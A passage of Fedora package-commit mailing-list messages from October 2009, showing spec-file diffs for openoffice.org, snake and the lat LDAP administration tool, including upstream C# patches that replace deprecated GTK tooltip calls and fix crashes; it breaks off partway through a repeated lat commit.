Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30057/F-12

Modified Files:
	openoffice.org.spec 
Removed Files:
	openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch 
Log Message:
drop openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch, fix is in font


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2023
retrieving revision 1.2024
diff -u -p -r1.2023 -r1.2024
--- openoffice.org.spec	21 Oct 2009 09:04:38 -0000	1.2023
+++ openoffice.org.spec	28 Oct 2009 13:56:39 -0000	1.2024
@@ -164,9 +164,8 @@ Patch87: workspace.aw073.patch
 Patch88: workspace.vcl106.patch
 Patch89: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 Patch90: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
-Patch91: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
-Patch92: workspace.impress178.patch
-Patch93: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
+Patch91: workspace.impress178.patch
+Patch92: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1717,9 +1716,8 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch88 -p0 -b .workspace.vcl106.patch
 %patch89 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
 %patch90 -p0 -b .ooo105988.svx.a11ycrash.patch
-%patch91 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
-%patch92 -p0 -b .workspace.impress178.patch
-%patch93 -p0 -b .ooo106130.svx.removedeletedshapes.patch
+%patch91 -p0 -b .workspace.impress178.patch
+%patch92 -p0 -b .ooo106130.svx.removedeletedshapes.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4253,7 +4251,7 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Wed Oct 21 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.14
+* Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.14
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)
 - Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)
 


--- openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch DELETED ---



From caolanm at fedoraproject.org  Wed Oct 28 13:56:40 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 28 Oct 2009 13:56:40 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec, 1.2050,
	1.2051 openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch, 1.1, NONE
Message-ID: <20091028135640.679C811C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30057/devel

Modified Files:
	openoffice.org.spec 
Removed Files:
	openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch 
Log Message:
drop openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch, fix is in font


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2050
retrieving revision 1.2051
diff -u -p -r1.2050 -r1.2051
--- openoffice.org.spec	28 Oct 2009 10:20:05 -0000	1.2050
+++ openoffice.org.spec	28 Oct 2009 13:56:40 -0000	1.2051
@@ -117,11 +117,10 @@ Patch43: openoffice.org-3.1.1.ooo105784.
 Patch44: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
 Patch45: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 Patch46: openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch
-Patch47: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
-Patch48: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
-Patch49: workspace.impress178.patch
-Patch50: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
-Patch51: workspace.gsminhibit.patch
+Patch47: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
+Patch48: workspace.impress178.patch
+Patch49: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
+Patch50: workspace.gsminhibit.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1628,11 +1627,10 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch44 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
 %patch45 -p0 -b .ooo105988.svx.a11ycrash.patch
 %patch46 -p1 -b .rhbz521460.svx.revert-paper-sizes-reordering.patch
-%patch47 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
-%patch48 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
-%patch49 -p0 -b .workspace.impress178.patch
-%patch50 -p0 -b .ooo106130.svx.removedeletedshapes.patch
-%patch51 -p1 -b .workspace.gsminhibit.patch
+%patch47 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
+%patch48 -p0 -b .workspace.impress178.patch
+%patch49 -p0 -b .ooo106130.svx.removedeletedshapes.patch
+%patch50 -p1 -b .workspace.gsminhibit.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`


--- openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch DELETED ---



From jlaska at fedoraproject.org  Wed Oct 28 14:01:10 2009
From: jlaska at fedoraproject.org (James Laska)
Date: Wed, 28 Oct 2009 14:01:10 +0000 (UTC)
Subject: rpms/snake/F-11 .cvsignore, 1.14, 1.15 import.log, 1.9,
	1.10 snake.spec, 1.23, 1.24 sources, 1.22, 1.23
Message-ID: <20091028140110.9A83111C00E5@cvs1.fedora.phx.redhat.com>

Author: jlaska

Update of /cvs/pkgs/rpms/snake/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30702/F-11

Modified Files:
	.cvsignore import.log snake.spec sources 
Log Message:
Update to snake-0.11-0.19.fc12



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	19 Jun 2009 18:10:32 -0000	1.14
+++ .cvsignore	28 Oct 2009 14:01:10 -0000	1.15
@@ -1 +1 @@
-snake-0.11-0.16.tar.bz2
+snake-0.11-0.19.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-11/import.log,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- import.log	19 Jun 2009 18:10:32 -0000	1.9
+++ import.log	28 Oct 2009 14:01:10 -0000	1.10
@@ -7,3 +7,4 @@ snake-0_11-0_13_fc11:HEAD:snake-0.11-0.1
 snake-0_11-0_14_fc11:HEAD:snake-0.11-0.14.fc11.src.rpm:1236029965
 snake-0_11-0_15_fc11:F-11:snake-0.11-0.15.fc11.src.rpm:1245264159
 snake-0_11-0_16_fc11:F-11:snake-0.11-0.16.fc11.src.rpm:1245434331
+snake-0_11-0_19_fc12:F-11:snake-0.11-0.19.fc12.src.rpm:1256738447


Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-11/snake.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- snake.spec	19 Jun 2009 18:10:32 -0000	1.23
+++ snake.spec	28 Oct 2009 14:01:10 -0000	1.24
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.16
+%define rel     0.19
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,15 @@ fi
 
 
 %changelog
+* Fri Oct 26 2009 James Laska <jlaska at redhat.com> 0.11-0.19
+- Correct install.py typo, use subprocess.call to gather arguments (wwoods)
+
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
+- Fix FTBFS: bump release to be able to tag in new branch
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-0.17
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jun 19 2009 James Laska <jlaska at redhat.com> 0.11-0.16
 - Correct missing import in examples/defaults.py
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-11/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	19 Jun 2009 18:10:32 -0000	1.22
+++ sources	28 Oct 2009 14:01:10 -0000	1.23
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.16.tar.bz2
+058703ba20b5929092a674161dcb7a54  snake-0.11-0.19.tar.bz2



From pghmcfc at fedoraproject.org  Wed Oct 28 14:01:17 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Wed, 28 Oct 2009 14:01:17 +0000 (UTC)
Subject: rpms/lat/F-12 lat-1.2.3-deprecated-stuff.patch, NONE,
	1.1 lat-1.2.3-no-groups-crash.patch, NONE,
	1.1 lat-1.2.3-watches.patch, NONE, 1.1 lat.spec, 1.26, 1.27
Message-ID: <20091028140117.D0A2411C00E5@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/lat/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30603/F-12

Modified Files:
	lat.spec 
Added Files:
	lat-1.2.3-deprecated-stuff.patch 
	lat-1.2.3-no-groups-crash.patch lat-1.2.3-watches.patch 
Log Message:
* Wed Oct 28 2009 Paul Howarth <paul at city-fan.org> 1.2.3-10
- Fix deprecation warnings and port to new GtkTooltip API
- Build/Require gtk-sharp2 >= 2.12.0 for new GtkTooltip API
- Add upstream patch for FileSystemWatcher watches
- Add upstream patch for fixing crashes when adding objects
- Update icon cache scriptlets to current best practice
- Scrollkeeper obsoleted by rarian-compat; scriplets now redundant
- Don't need to own directory %{_datadir}/gnome (owned by filesystem)
- Don't need to own directory %{_datadir}/gnome/help (owned by yelp)
- Don't generate mono provides for private plugins
- Add bugzilla reference for ExcludeArch sparc64 (#531451)


lat-1.2.3-deprecated-stuff.patch:
 AboutDialog.cs   |    2 +-
 ProfileDialog.cs |    4 ++--
 Window.cs        |   21 +++++++--------------
 3 files changed, 10 insertions(+), 17 deletions(-)

--- NEW FILE lat-1.2.3-deprecated-stuff.patch ---
diff -up lat-1.2.3/lat/AboutDialog.cs.dep lat-1.2.3/lat/AboutDialog.cs
--- lat-1.2.3/lat/AboutDialog.cs.dep	2007-09-02 12:54:16.000000000 +0100
+++ lat-1.2.3/lat/AboutDialog.cs	2009-10-27 16:49:48.009259770 +0000
@@ -38,7 +38,7 @@ namespace lat 
 			ab.Comments = _desc;
 			ab.Copyright = _copy;
 			ab.Documenters = _docs;
-			ab.Name = Defines.PACKAGE;
+			ab.ProgramName = Defines.PACKAGE;
 			ab.TranslatorCredits = _translators;
 			ab.Version = Defines.VERSION;
 			ab.Icon = Global.latIcon;
diff -up lat-1.2.3/lat/ProfileDialog.cs.dep lat-1.2.3/lat/ProfileDialog.cs
--- lat-1.2.3/lat/ProfileDialog.cs.dep	2007-09-02 12:54:16.000000000 +0100
+++ lat-1.2.3/lat/ProfileDialog.cs	2009-10-27 16:49:48.010419363 +0000
@@ -202,7 +202,7 @@ namespace lat
 					ab.Authors = vp.Authors;
 					ab.Comments = vp.Description;
 					ab.Copyright = vp.Copyright;
-					ab.Name = vp.Name;
+					ab.ProgramName = vp.Name;
 					ab.Version = vp.Version;
 					ab.Icon = vp.Icon;
 
@@ -227,7 +227,7 @@ namespace lat
 					ab.Authors = vp.Authors;
 					ab.Comments = vp.Description;
 					ab.Copyright = vp.Copyright;
-					ab.Name = vp.Name;
+					ab.ProgramName = vp.Name;
 					ab.Version = vp.Version;
 
 					ab.Run ();
diff -up lat-1.2.3/lat/Window.cs.dep lat-1.2.3/lat/Window.cs
--- lat-1.2.3/lat/Window.cs.dep	2007-09-02 12:54:16.000000000 +0100
+++ lat-1.2.3/lat/Window.cs	2009-10-28 11:26:52.719168938 +0000
@@ -326,17 +326,11 @@ namespace lat 
 
 		void SetBrowserTooltips ()
 		{
-			Tooltips t = new Tooltips ();
-			string tipMsg = null;
-
-			tipMsg = "Create a new directory entry";
-			newMenuToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			newMenuToolButton.TooltipText = "Create a new directory entry";
 
-			tipMsg = "Delete an entry from the directory";
-			deleteToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			deleteToolButton.TooltipText = "Delete an entry from the directory";
 
-			tipMsg = "Manage templates for creating new entries";
-			templateToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			templateToolButton.TooltipText = "Manage templates for creating new entries";
 		}
 
 		void TogglePages (bool pageOneState, bool pageTwoState, bool pageThreeState, bool pageFourState)
@@ -398,23 +392,22 @@ namespace lat 
 
 		void SetupToolbar (ViewPlugin vp)
 		{
-			Tooltips t = new Tooltips ();
 			string tipMsg = null;
 
 			tipMsg = String.Format ("Create a new {0}", vp.Name.ToLower());
-			newMenuToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			newMenuToolButton.TooltipText = tipMsg;
 			newMenuToolButton.Clicked += new EventHandler (viewDataTreeView.OnNewEntryActivate);
 
 			tipMsg = String.Format ("Edit the properties of a {0}", vp.Name.ToLower());
-			propertiesToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			propertiesToolButton.TooltipText = tipMsg;
 			propertiesToolButton.Clicked += new EventHandler (viewDataTreeView.OnEditActivate);
 			
 			tipMsg = String.Format ("Delete a {0} from the directory", vp.Name.ToLower());
-			deleteToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			deleteToolButton.TooltipText = tipMsg;
 			deleteToolButton.Clicked += new EventHandler (viewDataTreeView.OnDeleteActivate);
 
 			tipMsg = "Refreshes the data from the server";
-			refreshToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			refreshToolButton.TooltipText = tipMsg;
 			refreshToolButton.Clicked += new EventHandler (viewDataTreeView.OnRefreshActivate);
 
 			ToggleButtons (true);

lat-1.2.3-no-groups-crash.patch:
 AttributeEditorWidget.cs                    |    3 +++
 ConnectionManager.cs                        |    2 +-
 ViewPluginManager.cs                        |   15 ++++++++++++++-
 plugins/PosixCoreViews/NewUserViewDialog.cs |    7 ++++++-
 4 files changed, 24 insertions(+), 3 deletions(-)

--- NEW FILE lat-1.2.3-no-groups-crash.patch ---
Index: lat/ViewPluginManager.cs
===================================================================
--- lat/ViewPluginManager.cs	(revision 11)
+++ lat/ViewPluginManager.cs	(revision 14)
@@ -253,8 +253,21 @@
 			if (!di.Exists)
 				di.Create ();
 
+			DirectoryInfo dir = null;
+
+#if DEBUG
+			// Load any plugins in the plugins directory
+			// relative to the executing path.
+			// This is for debug purposes only.
+			//		-- JA 19/10/2008
+			Assembly exeAsm = Assembly.GetExecutingAssembly();
+			string runLocation = Path.GetDirectoryName(exeAsm.Location);
+			dir = new DirectoryInfo(runLocation);
+			foreach(FileInfo fi in dir.GetFiles("*.dll"))
+				LoadPluginsFromFile(fi.FullName);
+#endif
 			// Load any plugins in sys dir
-			DirectoryInfo dir = new System.IO.DirectoryInfo (Defines.SYS_PLUGIN_DIR);
+			dir = new System.IO.DirectoryInfo (Defines.SYS_PLUGIN_DIR);
 			if (dir.Exists)
 				foreach (FileInfo f in dir.GetFiles("*.dll"))
 					LoadPluginsFromFile (f.FullName);
Index: lat/ConnectionManager.cs
===================================================================
--- lat/ConnectionManager.cs	(revision 11)
+++ lat/ConnectionManager.cs	(revision 14)
@@ -94,7 +94,7 @@
 			} catch (Exception e) {
 
 				Log.Debug (e);
-				throw e;
+				throw;
 			}
 		}
 		
Index: lat/plugins/PosixCoreViews/NewUserViewDialog.cs
===================================================================
--- lat/plugins/PosixCoreViews/NewUserViewDialog.cs	(revision 11)
+++ lat/plugins/PosixCoreViews/NewUserViewDialog.cs	(revision 14)
@@ -326,6 +326,9 @@
 			if (name == null)
 				return null;
 
+			if (!_allGroups.ContainsKey(name))
+				return null;
+			
 			LdapEntry le = (LdapEntry) _allGroups [name];		
 			LdapAttribute attr = le.getAttribute ("gidNumber");
 
@@ -343,7 +346,9 @@
 				
 			if (primaryGroupComboBox.GetActiveIter (out iter)) {
 				string pg = (string) primaryGroupComboBox.Model.GetValue (iter, 0);
-				aset.Add (new LdapAttribute ("gidNumber", getGidNumber(pg)));
+				string gid = getGidNumber(pg);
+				if (gid != null)
+					aset.Add (new LdapAttribute ("gidNumber", gid));
 			}
 						
 			aset.Add (new LdapAttribute ("givenName", firstNameEntry.Text));
Index: lat/AttributeEditorWidget.cs
===================================================================
--- lat/AttributeEditorWidget.cs	(revision 11)
+++ lat/AttributeEditorWidget.cs	(revision 14)
@@ -555,6 +555,9 @@
 			foreach (string s in dlg.ObjectClasses) {
 				string[] req = conn.Data.GetRequiredAttrs (s);
 				store.AppendValues ("objectClass", s);
+
+				if (req == null)
+					continue;
 				
 				foreach (string r in req) {
 					if (allAttrs.Contains (r))

lat-1.2.3-watches.patch:
 ViewPluginManager.cs |   46 ++++++++++++++++++++++++++++------------------
 1 file changed, 28 insertions(+), 18 deletions(-)

--- NEW FILE lat-1.2.3-watches.patch ---
Index: lat/ViewPluginManager.cs
===================================================================
--- lat/ViewPluginManager.cs	(revision 9)
+++ lat/ViewPluginManager.cs	(revision 10)
@@ -273,27 +273,37 @@
 			Load ();
 
 			// Watch for any plugins to be added/removed
-			try {
-					
-				sysPluginWatch = new FileSystemWatcher (Defines.SYS_PLUGIN_DIR, "*.dll");
-				sysPluginWatch.Created += OnPluginCreated;
-				sysPluginWatch.Deleted += OnPluginDeleted;
-				sysPluginWatch.EnableRaisingEvents = true;
-			
-			} catch (Exception e) {			
-				Log.Debug ("Plugin system watch error: {0}", e);			
+			if (Directory.Exists(Defines.SYS_PLUGIN_DIR))
+			{
+				try {
+						
+					sysPluginWatch = new FileSystemWatcher (Defines.SYS_PLUGIN_DIR, "*.dll");
+					sysPluginWatch.Created += OnPluginCreated;
+					sysPluginWatch.Deleted += OnPluginDeleted;
+					sysPluginWatch.EnableRaisingEvents = true;
+				
+				} catch (Exception e) {			
+					Log.Debug ("Plugin system watch error: {0}", e);			
+				}
 			}
+			else
+				Log.Debug("Plugin system directory does not exist.");
 
-			try {
-			
-				usrPluginWatch = new FileSystemWatcher (pluginDirectory, "*.dll");
-				usrPluginWatch.Created += OnPluginCreated;
-				usrPluginWatch.Deleted += OnPluginDeleted;
-				usrPluginWatch.EnableRaisingEvents = true;
-			
-			} catch (Exception e) {			
-				Log.Debug ("Plugin user dir watch error: {0}", e);			
+			if (Directory.Exists(pluginDirectory))
+			{
+				try {
+				
+					usrPluginWatch = new FileSystemWatcher (pluginDirectory, "*.dll");
+					usrPluginWatch.Created += OnPluginCreated;
+					usrPluginWatch.Deleted += OnPluginDeleted;
+					usrPluginWatch.EnableRaisingEvents = true;
+				
+				} catch (Exception e) {			
+					Log.Debug ("Plugin user dir watch error: {0}", e);			
+				}
 			}
+			else
+				Log.Debug("Plugin user dir does not exist.");
 		}
 
 		void OnPluginCreated (object sender, FileSystemEventArgs args)


Index: lat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lat/F-12/lat.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- lat.spec	26 Oct 2009 20:57:02 -0000	1.26
+++ lat.spec	28 Oct 2009 14:01:17 -0000	1.27
@@ -1,29 +1,33 @@
 Name:               lat
 Summary:            LDAP Administration Tool
 Version:            1.2.3
-Release:            9%{?dist}
+Release:            10%{?dist}
 License:            GPLv2
 Group:              Applications/Productivity
 Url:                http://sourceforge.net/projects/ldap-at/
 Source0:            http://downloads.sf.net/ldap-at/lat-%{version}.tar.gz
 Patch0:             lat-1.2.2-libdir.patch
 Patch1:             lat-1.2.3-desktop-icon-no-ext.patch
+Patch2:             lat-1.2.3-deprecated-stuff.patch
+Patch10:            lat-1.2.3-watches.patch
+Patch11:            lat-1.2.3-no-groups-crash.patch
 BuildRoot:          %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:      mono-devel >= 1.1.12.1, gnome-keyring-devel >= 0.4.2, avahi-sharp
-BuildRequires:      scrollkeeper, gettext, intltool, dbus-sharp, desktop-file-utils
-BuildRequires:      gnome-sharp-devel, gtk-sharp2-devel >= 2.8.0, dbus-sharp-devel
-Requires:           scrollkeeper, gnome-sharp
-Requires:           mono-data, gtk-sharp2, dbus-sharp, avahi-sharp, yelp
+BuildRequires:      rarian-compat, gettext, intltool, dbus-sharp, desktop-file-utils
+BuildRequires:      gnome-sharp-devel, gtk-sharp2-devel >= 2.12.0, dbus-sharp-devel
+Requires:           gnome-sharp, gtk-sharp2 >= 2.12.0, dbus-sharp
+Requires:           mono-data, avahi-sharp, yelp
 
-Requires(post):     scrollkeeper
-Requires(postun):   scrollkeeper
-
-# ausil added this without a bug reference...
+# Mono and hence lat not available on sparc64 (#531451)
 ExcludeArch:        sparc64
 
 # Debuginfo package would be empty as there are no binaries in this package
 %define debug_package %{nil}
 
+# Don't generate mono provides for private plugins
+%filter_from_provides /mono([A-Za-z-]*) = 0\.0\.0\.0/d
+%filter_setup
+
 %description
 LAT stands for LDAP Administration Tool. The tool allows you to browse
 LDAP-based directories and add/edit/delete entries contained within. It can
@@ -35,7 +39,7 @@ manage objects easily without having to 
 Summary:            Development files for building plugins for LDAP Administration Tool
 Group:              Development/Libraries
 Requires:           %{name} = %{version}-%{release}, pkgconfig
-Requires:           gtk-sharp2-devel
+Requires:           gtk-sharp2-devel >= 2.12.0
 
 %description devel
 The lat-devel package contains the files needed to build plugins for lat
@@ -50,6 +54,18 @@ The lat-devel package contains the files
 # Remove filename extension from Icon field of desktop file
 %patch1 -p1 -b .no-ext
 
+# Update some deprecated methods; port to newer GtkTooltip API
+%patch2 -p1 -b .dep
+
+# Don't add FileSystemWatcher watches on directories that don't exist -
+# upstream changeset 10
+%patch10 -p0
+
+# Fix a crash when trying to create a user while no groups (and thus no gid)
+# are available yet for this user, or when adding an object without any
+# required attributes - upstream changesets 12 and 14
+%patch11 -p0
+
 %build
 %configure --disable-dependency-tracking
 %{__make} %{_smp_mflags} appicondir=%{_datadir}/icons/hicolor/22x22/apps
@@ -60,9 +76,6 @@ The lat-devel package contains the files
         appicondir=%{_datadir}/icons/hicolor/22x22/apps \
         install
 
-# Remove scrollkeeper crud (rebuilt in %%post)
-%{__rm} -rf %{buildroot}%{_localstatedir}/scrollkeeper
-
 # Fix up desktop file
 /usr/bin/desktop-file-install \
         --vendor fedora \
@@ -78,16 +91,16 @@ The lat-devel package contains the files
 %{__rm} -rf %{buildroot}
 
 %post
-/usr/bin/scrollkeeper-update -q -o %{_datadir}/omf/%{name} || :
-/bin/touch --no-create %{_datadir}/icons/hicolor || :
-[ -x %{_bindir}/gtk-update-icon-cache ] && %{_bindir}/gtk-update-icon-cache \
-        --quiet %{_datadir}/icons/hicolor || :
+touch --no-create %{_datadir}/icons/hicolor || :
 
 %postun
-/usr/bin/scrollkeeper-update -q || :
-/bin/touch --no-create %{_datadir}/icons/hicolor || :
-[ -x %{_bindir}/gtk-update-icon-cache ] && %{_bindir}/gtk-update-icon-cache \
-        --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+	touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+	gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
@@ -96,8 +109,6 @@ The lat-devel package contains the files
 %{_libdir}/lat/
 %{_datadir}/application-registry/lat.applications
 %{_datadir}/applications/fedora-lat.desktop
-%dir %{_datadir}/gnome/
-%dir %{_datadir}/gnome/help/
 %{_datadir}/gnome/help/lat/
 %{_datadir}/icons/hicolor/22x22/apps/lat.png
 %{_datadir}/omf/lat/
@@ -108,6 +119,18 @@ The lat-devel package contains the files
 %{_libdir}/pkgconfig/lat-plugins.pc
 
 %changelog
+* Wed Oct 28 2009 Paul Howarth <paul at city-fan.org> 1.2.3-10
+- Fix deprecation warnings and port to new GtkTooltip API
+- Build/Require gtk-sharp2 >= 2.12.0 for new GtkTooltip API
+- Add upstream patch for FileSystemWatcher watches
+- Add upstream patch for fixing crashes when adding objects
+- Update icon cache scriptlets to current best practice
+- Scrollkeeper obsoleted by rarian-compat; scriplets now redundant
+- Don't need to own directory %%{_datadir}/gnome (owned by filesystem)
+- Don't need to own directory %%{_datadir}/gnome/help (owned by yelp)
+- Don't generate mono provides for private plugins
+- Add bugzilla reference for ExcludeArch sparc64 (#531451)
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.3-9
 - Remove Fedora 5 conditionals
 - ExcludeArch sparc64 due to missing mono support on that arch



From pghmcfc at fedoraproject.org  Wed Oct 28 14:01:18 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Wed, 28 Oct 2009 14:01:18 +0000 (UTC)
Subject: rpms/lat/devel lat-1.2.3-deprecated-stuff.patch, NONE,
	1.1 lat-1.2.3-no-groups-crash.patch, NONE,
	1.1 lat-1.2.3-watches.patch, NONE, 1.1 lat.spec, 1.26, 1.27
Message-ID: <20091028140118.79A2811C00E5@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/lat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30603/devel

Modified Files:
	lat.spec 
Added Files:
	lat-1.2.3-deprecated-stuff.patch 
	lat-1.2.3-no-groups-crash.patch lat-1.2.3-watches.patch 
Log Message:
* Wed Oct 28 2009 Paul Howarth <paul at city-fan.org> 1.2.3-10
- Fix deprecation warnings and port to new GtkTooltip API
- Build/Require gtk-sharp2 >= 2.12.0 for new GtkTooltip API
- Add upstream patch for FileSystemWatcher watches
- Add upstream patch for fixing crashes when adding objects
- Update icon cache scriptlets to current best practice
- Scrollkeeper obsoleted by rarian-compat; scriplets now redundant
- Don't need to own directory %{_datadir}/gnome (owned by filesystem)
- Don't need to own directory %{_datadir}/gnome/help (owned by yelp)
- Don't generate mono provides for private plugins
- Add bugzilla reference for ExcludeArch sparc64 (#531451)


lat-1.2.3-deprecated-stuff.patch:
 AboutDialog.cs   |    2 +-
 ProfileDialog.cs |    4 ++--
 Window.cs        |   21 +++++++--------------
 3 files changed, 10 insertions(+), 17 deletions(-)

--- NEW FILE lat-1.2.3-deprecated-stuff.patch ---
diff -up lat-1.2.3/lat/AboutDialog.cs.dep lat-1.2.3/lat/AboutDialog.cs
--- lat-1.2.3/lat/AboutDialog.cs.dep	2007-09-02 12:54:16.000000000 +0100
+++ lat-1.2.3/lat/AboutDialog.cs	2009-10-27 16:49:48.009259770 +0000
@@ -38,7 +38,7 @@ namespace lat 
 			ab.Comments = _desc;
 			ab.Copyright = _copy;
 			ab.Documenters = _docs;
-			ab.Name = Defines.PACKAGE;
+			ab.ProgramName = Defines.PACKAGE;
 			ab.TranslatorCredits = _translators;
 			ab.Version = Defines.VERSION;
 			ab.Icon = Global.latIcon;
diff -up lat-1.2.3/lat/ProfileDialog.cs.dep lat-1.2.3/lat/ProfileDialog.cs
--- lat-1.2.3/lat/ProfileDialog.cs.dep	2007-09-02 12:54:16.000000000 +0100
+++ lat-1.2.3/lat/ProfileDialog.cs	2009-10-27 16:49:48.010419363 +0000
@@ -202,7 +202,7 @@ namespace lat
 					ab.Authors = vp.Authors;
 					ab.Comments = vp.Description;
 					ab.Copyright = vp.Copyright;
-					ab.Name = vp.Name;
+					ab.ProgramName = vp.Name;
 					ab.Version = vp.Version;
 					ab.Icon = vp.Icon;
 
@@ -227,7 +227,7 @@ namespace lat
 					ab.Authors = vp.Authors;
 					ab.Comments = vp.Description;
 					ab.Copyright = vp.Copyright;
-					ab.Name = vp.Name;
+					ab.ProgramName = vp.Name;
 					ab.Version = vp.Version;
 
 					ab.Run ();
diff -up lat-1.2.3/lat/Window.cs.dep lat-1.2.3/lat/Window.cs
--- lat-1.2.3/lat/Window.cs.dep	2007-09-02 12:54:16.000000000 +0100
+++ lat-1.2.3/lat/Window.cs	2009-10-28 11:26:52.719168938 +0000
@@ -326,17 +326,11 @@ namespace lat 
 
 		void SetBrowserTooltips ()
 		{
-			Tooltips t = new Tooltips ();
-			string tipMsg = null;
-
-			tipMsg = "Create a new directory entry";
-			newMenuToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			newMenuToolButton.TooltipText = "Create a new directory entry";
 
-			tipMsg = "Delete an entry from the directory";
-			deleteToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			deleteToolButton.TooltipText = "Delete an entry from the directory";
 
-			tipMsg = "Manage templates for creating new entries";
-			templateToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			templateToolButton.TooltipText = "Manage templates for creating new entries";
 		}
 
 		void TogglePages (bool pageOneState, bool pageTwoState, bool pageThreeState, bool pageFourState)
@@ -398,23 +392,22 @@ namespace lat 
 
 		void SetupToolbar (ViewPlugin vp)
 		{
